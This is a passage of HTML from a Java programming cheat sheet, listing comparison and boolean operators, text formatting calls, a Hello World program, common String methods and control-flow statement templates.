<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x < y</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Less</div>
</td><td class="cheat_sheet_output_cell_3" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x <= y</div>
</td><td class="cheat_sheet_output_cell_4" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Less or eq</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x > y</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Greater</div>
</td><td class="cheat_sheet_output_cell_3" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x >= y</div>
</td><td class="cheat_sheet_output_cell_4" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Greater or eq</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x == y</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Equal</div>
</td><td class="cheat_sheet_output_cell_3" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x != y</div>
</td><td class="cheat_sheet_output_cell_4" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Not equal</div>
</td></tr>
</tbody></table>
</div>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_464_1817" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Boolean Operators</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1817" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_threecol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
! x (not)</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x && y (and)</div>
</td><td class="cheat_sheet_output_cell_3" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x || y (or)</div>
</td></tr>
</tbody></table>
</div>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_464_1821" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Text Formatting</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1821" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_text" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">printf style formatting</strong><br />
System.out.printf(”Count is %d\n”, count);<br />
s = String.format(“Count is %d”, count);<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">MessageFormat style formatting</strong><br />
s = MessageFormat.format(<br />
”At {1,time}, {0} Runs Scored.”,<br />
25, new Date());<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Individual Numbers and Dates</strong><br />
s = NumberFormat.getCurrency()<br />
.format(x);<br />
s = new SimpleDateFormat(“”yyyy/mm/dd””)<br />
.format(new Date());</td></tr>
</tbody></table>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Hello World</span></h3>
<table style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><pre style="background: rgb(242, 242, 242); border-bottom-color: transparent; border-bottom-style: solid; border-image: initial; border-left-color: rgb(217, 217, 217); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 1px 3px; font-family: inherit; padding: 1.857em 1.857em 0px; vertical-align: baseline; word-break: break-all; word-wrap: break-word;"><tt><span class="keyword" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">public</span> <span class="keyword" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">class</span> <span class="classname" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">HelloWorld</span> <span class="cbracket" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">{</span>
<span class="keyword" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">public</span> <span class="keyword" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">static</span> <span class="type" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">void</span> <span class="function" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">main</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="normal" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">String</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">[]</span><span class="normal" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> args</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">)</span> <span class="cbracket" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">{</span>
<span class="normal" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> System</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="normal" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">out</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="function" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">println</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="string" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">"Hello, World"</span><span class="symbol" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">);</span>
<span class="cbracket" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">}</span>
<span class="cbracket" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">}</span></tt></pre>
</td></tr>
</tbody></table>
<div class="cheat_sheet_output_block" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; vertical-align: baseline;">
</div>
<div class="cheat_sheet_output_block" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; vertical-align: baseline;">
</div>
<div class="cheat_sheet_output_block" id="block_464_1825" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<h3 class="cheat_sheet_output_title" id="title_464_1819" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java String Methods</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1819" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.length()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
length of <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em></div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.charAt(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">i</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
extract <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">i</em>th character</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.substring(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">start</em>, <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">end</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
substring from <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">start</em> to <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">end</em>-1</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.toUpperCase()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
returns copy of <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em> in ALL CAPS</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.toLowerCase()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
returns copy of <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em> in lowercase</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.indexOf(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">x</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
index of first occurence of <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">x</em></div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.replace(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">old</em>, <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">new</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
search and replace</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.split(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">regex</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
splits string into tokens</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.trim()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
trims surrounding whitespace</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.equals(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s2</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
true if s equals s2</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s</em>.compareTo(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">s2</em>)</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
0 if equal/+ if s > s2/- if s < s2</div>
</td></tr>
</tbody></table>
</div>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_464_1811" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Statements</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1811" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_text" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">If Statement</strong><br />
if ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">expression</em> ) {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
} else if ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">expression</em> ) {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
} else {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
}<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">While Loop</strong><br />
while ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">expression</em> ) {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
}<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Do-While Loop</strong><br />
do {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
} while ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">expression</em> );<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">For Loop</strong><br />
for ( int i = 0; i < <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">max</em>; ++i) {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
}<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">For Each Loop</strong><br />
for ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">var</em> : <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">collection</em> ) {<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
}<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Switch Statement</strong><br />
switch ( <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">expression</em> ) {<br />
case <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">value</em>:<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
break;<br />
case <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">value2</em>:<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
break;<br />
default:<br />
<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">statements</em><br />
}<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Exception Handling</strong><br />
try {<br />
statements;<br />
} catch (<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">ExceptionType</em> <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">e1</em>) {<br />
statements;<br />
} catch (Exception <em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">e2</em>) {<br />
catch-all statements;<br />
} finally {<br />
statements;<br />
}</div>
</td></tr>
</tbody></table>
<h4 style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</h4>
<h2 style="text-align: left;">
